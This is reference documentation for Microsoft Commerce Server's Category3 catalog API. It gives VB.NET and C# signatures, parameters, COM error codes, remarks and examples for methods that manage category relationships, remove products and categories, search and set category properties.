A relationship must be given a name and may optionally be given a description. The description can include information that describes the nature of the relationship between the categories (for example, an "accessory" or "add-on"). Relationships are one way, that is, if category A has a relationship to category B, that does not create a reciprocal relationship from category B to category A.

When multiple relationships are created between the same two categories, each relationship must have a unique name.

[Visual Basic .NET]

Example

myCategory.AddRelationshipToCategory("Apparel", _
  "Accessory", "This would go great with that!")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category3 Object

Category3.RemoveRelationshipToCategory


Category3.AddRelationshipToProduct Method (PIA)

Use this method to add a relationship between the specified product and this category. This relationship must be given a name and may optionally be given a description. The description can include information that describes the nature of the relationship between the categories (for example, an "accessory" or "add-on").

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub AddRelationshipToProduct(
  varRelatedProductID As Object,
  strRelationshipName As String,
  Optional strRelationshipDescription As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void AddRelationshipToProduct(
  object varRelatedProductID,
  string strRelationshipName,
  object strRelationshipDescription
);

Parameters

[Visual Basic .NET]
varRelatedProductID
An Object that contains the ID of the related product.
strRelationshipName
A String that contains a name for the relationship.
strRelationshipDescription
An Object that contains an optional description for the relationship.
[C#]
varRelatedProductID
An object that contains the ID of the related product.
strRelationshipName
A string that contains a name for the relationship.
strRelationshipDescription
An object that contains an optional description for the relationship. Set to Type.Missing to specify no description.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_DESC | [C#] 0x88980055 [Visual Basic .NET] &H88980055 | The value you specified for the relationship description exceeds 256 characters. Relationship description should be less than or equal to 256 characters.
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_INVALID_RELATION | [C#] 0x88980039 [Visual Basic .NET] &H88980039 | An invalid relation is specified. Self relations are not supported.
E_CAT_VC_CANT_EDIT_INCLUDED_RELATIONSHIP | [C#] 0x8898011B [Visual Basic .NET] &H8898011B | A virtual catalog’s included relationships cannot be directly edited. Instead, they can be edited only in the base catalog context.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

In order for this method to complete successfully, the product identified must already exist.

When multiple relationships are created between a category and product, each relationship must have a unique name.

[Visual Basic .NET]

Example

myCategory.AddRelationshipToProduct("SKU4005", "Accessory", _
  "This would go great with that")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category3 Object

Category3.RemoveRelationshipToProduct


Category3.RemoveChildCategory Method (PIA)

Use this method to remove a category that is a child of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveChildCategory(
  strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveChildCategory(
  string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be removed as a child of this category.
[C#]
strCategoryName
A string that contains the name of the category to be removed as a child of this category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Use the RemoveChildCategory method to remove a child category from this category. If the category named in the strCategoryName parameter does not exist, then this method will fail.

[Visual Basic .NET]

Example

myCategory.RemoveChildCategory("T-Shirts")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddChildCategory

Category3.RemoveParentCategory


Category3.RemoveParentCategory Method (PIA)

Use this method to remove the specified category as a parent of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveParentCategory(
  strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveParentCategory(
  string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be removed as a parent of this category.
[C#]
strCategoryName
A string that contains the name of the category to be removed as a parent of this category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

Use the RemoveParentCategory method to remove a parent category from this category. If the category named in the strCategoryName parameter does not exist, then this method will fail.

[Visual Basic .NET]

Example

myCategory.RemoveParentCategory("Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddParentCategory

Category3.RemoveChildCategory


Category3.RemoveProduct Method (PIA)

Use this method to remove a product from this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveProduct(
  varProductID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveProduct(
  object varProductID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the product ID.
[C#]
varProductID
An object that contains the product ID.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or else it does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

myCategory.RemoveProduct("Widget")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddProduct


Category3.RemoveRelationshipToCategory Method (PIA)

Use this method to remove a relationship between the specified category and this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveRelationshipToCategory(
  strRelatedCategoryName As String,
  strRelationshipName As String
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveRelationshipToCategory(
  string strRelatedCategoryName,
  string strRelationshipName
  string strCatalogName
);

Parameters

[Visual Basic .NET]
strRelatedCategoryName
A String that contains the name of the related category.
strRelationshipName
A String that contains the name of the relationship.
strCatalogName
A String that contains the name of the catalog containing the related category.
[C#]
strRelatedCategoryName
A string that contains the name of the related category.
strRelationshipName
A string that contains the name of the relationship.
strCatalogName
A string that contains the name of the catalog containing the related category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog Name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The RemoveRelationshipToCategory method removes a relationship between this category and the category named in the strRelatedCategoryName parameter. Because more than one relationship may exist between these two categories, you must also specify the name of the relationship you wish to remove in the strRelationshipName parameter. If the category specified as the strRelatedCategoryName parameter does not exist or the relationship specified as the strRelationshipName parameter does not exist, then this method will fail.

[Visual Basic .NET]

Example

myCategory.RemoveRelationshipToCategory("Gadget", "Accessory", "myCat")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddRelationshipToCategory

Category3.RemoveRelationshipToProduct


Category3.RemoveRelationshipToProduct Method (PIA)

Use this method to remove a relationship between the specified product and this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveRelationshipToProduct(
  varRelatedProductID As Object,
  strRelationshipName As String,
  strCatalogName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveRelationshipToProduct(
  object varRelatedProductID,
  string strRelationshipName,
  string strCatalogName
);

Parameters

[Visual Basic .NET]
varRelatedProductID
An Object that contains the ID of the related product.
strRelationshipName
A String that contains the name of the relationship.
strCatalogName
A String that contains the name of the catalog containing the name of the related product.
[C#]
varRelatedProductID
An object that contains the ID of the related product.
strRelationshipName
A string that contains the name of the relationship.
strCatalogName
A string that contains the name of the catalog containing the name of the related product.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C#] 0x88980002 [Visual Basic .NET] &H88980002 | The catalog name you specified does not exist.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The catalog name you specified is invalid. catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or else it exceeds the maximum allowed length of 256 characters.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_INVALID_RELATION_NAME | [C#] 0x88980054 [Visual Basic .NET] &H88980054 | The value you specified for the relationship name is blank or exceeds 128 characters. Relationship names should not be blank and should be less than or equal to 128 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The RemoveRelationshipToProduct method removes a relationship between this category and the product identified by the varRelatedProductID parameter. Because more than one relationship may exist between this category and product, you must also specify the name of the relationship you wish to remove in the strRelationshipName parameter. If the product specified as the varRelatedProductID parameter does not exist or the relationship specified as the strRelationshipName parameter does not exist, then this method will fail.

[Visual Basic .NET]

Example

myCategory.RemoveRelationshipToProduct("Gadget", "FeaturedProduct")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class

Category3.AddRelationshipToProduct


Category3.Search Method (PIA)

Use this method to perform queries against product, variant, and category data in this category, and, optionally, the child categories for this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function Search(
  Optional strSQLClause As Object,
  Optional strFTSPhrase As Object,
  Optional fRecursive As Boolean,
  Optional eClassTypeRequired As Object,
  Optional strPropertiesToReturn As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional plTotalRecordsInQuery As Object
) As Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
Public _Recordset Search(
  object strSQLClause,
  object strFTSPhrase,
  bool fRecursive,
  object eClassTypeRequired,
  object strPropertiesToReturn,
  object strPropertyToSortOn,
  bool fSortAscending,
  object lStartingRecord,
  object lRecordsToRetrieve,
  object plTotalRecordsInQuery,
);

Parameters

[Visual Basic .NET]
strSQLClause
An Object that contains the SQL search query.
strFTSPhrase
An Object that contains the free-text search phrase.
fRecursive
A Boolean that specifies whether the query is recursive, that is, whether the scope of the query includes child categories. A value of True indicates that the query is recursive. A value of False indicates that the query is not recursive. The default value is True.
eClassTypeRequired
An Object that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An Object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An Object that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An Object that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery
An Object used to return the total number of records matching the query.
[C#]
strSQLClause
An object that contains the SQL search query.
strFTSPhrase
An object that contains the free-text search phrase.
fRecursive
A bool that specifies whether the query is recursive, that is, whether the scope of the query includes child categories. A value of True indicates that the query is recursive. A value of False indicates that the query is not recursive. The default value is True.
eClassTypeRequired
An object that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An object that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending
An bool that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An object that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve
An object that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
plTotalRecordsInQuery
An object used to return the total number of records matching the query.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the results of your query.

[C#] This method returns a _Recordset interface to a Recordset object used to contain the results of your query.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_SEARCH_CLAUSE | [C#] 0x8898011C [Visual Basic .NET] &H8898011C | The search condition that you specified is invalid for one of the following reasons: It contains -- or /* which should not be used outside of property names and property values The parentheses in the search condition do not match in number or alignment.
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

This method is very similar to the CatalogManager3.Query method. The primary difference is that this method returns results limited to a single category, and, optionally the child categories for this category. Multilingual results will be returned in the language specified by the ProductCatalog3::get_Language method of the catalog that contains this category.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.SetCategoryProperties Method

Use this method to set values for the properties of this category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODBLib26     ‘ for _Recordset
…
Public Sub SetCategoryProperties(
  pRSCategory As _Recordset,
  Optional fForceUpdate As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public void SetCategoryProperties(
  _Recordset pRSCategory,
  object fForceUpdate
);

Parameters

[Visual Basic .NET]
pRSCategory
The _Recordset interface of a Recordset object that contains the properties for this category.
fForceUpdate
An Object that causes a forced update of the category properties.
[C#]
pRSCategory
A _Recordset interface to a Recordset object that contains the properties for this category.
fForceUpdate
An object that causes a forced update of the category properties. Set to Type.Missing to enforce the default behavior.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_VC_CANT_EDIT_INCLUDED_CATEGORY | [C#] 0x88980105 [Visual Basic .NET] &H88980105 | A virtual catalog’s included categories cannot be directly edited. Instead, they can be edited only in the base catalog context.
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &Hx889800F8 | This API cannot be called for a root category.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_CATEGORY_CHANGED | [C#] 0x88980028 [Visual Basic .NET] &H88980028 | The category has been changed since it was last read.
E_CAT_INVALID_PROPERTY_VALUE | [C#] 0x889800B4 [Visual Basic .NET] &H889800B4 | The value <value> specified for the property <property name>does not satisfy the Minimum or Maximum constraints defined for the property. For string properties, the specified value should be between the minimum and maximum lengths defined for the property. For numeric properties, the specified value should be between minium and maximum values. For enumeration properties, the specified value should be one of the valid values defined for the property.
E_CAT_NULL_PRICE_NOT_ALLOWED | [C#] 0x8898003F [Visual Basic .NET] &H8898003F | The list price for this category cannot be blank as this category is being used as a pricing category by other products in the catalog.

Remarks

Use the SetCategoryProperties method to modify the properties of a category. The pRSCategory parameter specifies a _Recordset interface to a Recordset object that describes the new property values for this category. Use the _Recordset interface to a Recordset object returned by the GetCategoryProperties method so that its timestamp can be compared for error checking.

If the fForceUpdate parameter is set to false, and the property values in the pRSCategory parameter have changed, the method will fail.

This method will not update the built-in fields in the catalog. If this category is being used as a pricing category, then this method will update the price of all the products using this category as the pricing category.

The category name returned in this recordset will not contain the appended catalog name.

[Visual Basic .NET]

Example

myCategory.SetCategoryProperties(pRSCategory, "True")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.SetRelatedProducts Method (PIA)

Use this method to update product relationships.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Sub SetRelatedProducts(
  pRSRelatedProducts As Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;

using ADODB26Lib; //For _Recordset

…
public void SetRelatedProducts(
  _Recordset* pRSRelatedProducts
);

Parameters

[Visual Basic .NET]
pRSRelatedProducts
A Recordset object that contains the related products.
[C#]
pRSRelatedProducts
A _Recordset object that contains the related products.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_INVALID_OPERATION_FOR_ROOT_CATEGORY | [C#] 0x889800F8 [Visual Basic .NET] &H889800F8 | This API cannot be called for a root category.
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | Invalid pointer.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship (and therefore cannot be edited).
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The recordset used for the pRSRelatedProducts parameter should be obtained from the get_RelatedProducts method.

Only the RelationshipDescription field should be updated. Other changes should be made by using the RemoveRelationshipToProduct and AddRelationshipToProduct methods.

You can update multiple records in the same call to this method.

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3.SetRelatedCategories Method (PIA)

Use this method to update category relationships.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Sub SetRelatedCategories(
  pRSRelatedCategories As Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;

using ADODB26Lib; //For _Recordset

…
public void SetRelatedCategories(
  _Recordset pRSRelatedCategories
);

Parameters

[Visual Basic .NET]
pRSRelatedCategories
A Recordset object that contains the related categories.
[C#]
pRSRelatedCategories
A Recordset object that contains the related categories.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | Invalid pointer.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified doesn't exist.
E_CAT_DEFN_NO_RELATIONSHIP_EXISTS | [C#] 0x88980045 [Visual Basic .NET] &H88980045 | The relationship that you specified either does not exist or is a inherited relationship, and therefore cannot be edited.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

The recordset used for the pRSRelatedCategories parameter should be obtained from the get_RelatedCategories method.

Only the RelationshipDescription field should be updated. Other changes should be made by using the RemoveRelationshipToCategory and AddRelationshipToCategory methods.

You can update multiple records in the same call to this method.

When calling this method on an inherited category in a virtual catalog, the method will have no effect if the relationship is inherited from a base catalog. If the relationship was added in the virtual catalog, changes will be updated. Inherited hierarchy and relationship links cannot be removed or changed in inherited categories. To modify inherited relationships, use a Category object obtained from the base Catalog object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

Category Class


Category3 Properties (PIA)

Properties

Property | Type | Description
AncestorCategories | ADODB26Lib._Recordset | Contains a recordset of category names that exist anywhere above this category, and that directly or indirectly contain this category, in the hierarchy. This property is read-only.
CatalogName | String | Contains the name of the catalog of which this Category object is a member. This property is read-only.
CategoryName | String | Contains the name of this category. This property is read-only.
ChildCategories | ADODB26Lib._Recordset | Contains a recordset containing the child Category objects for this category. This property is read-only.
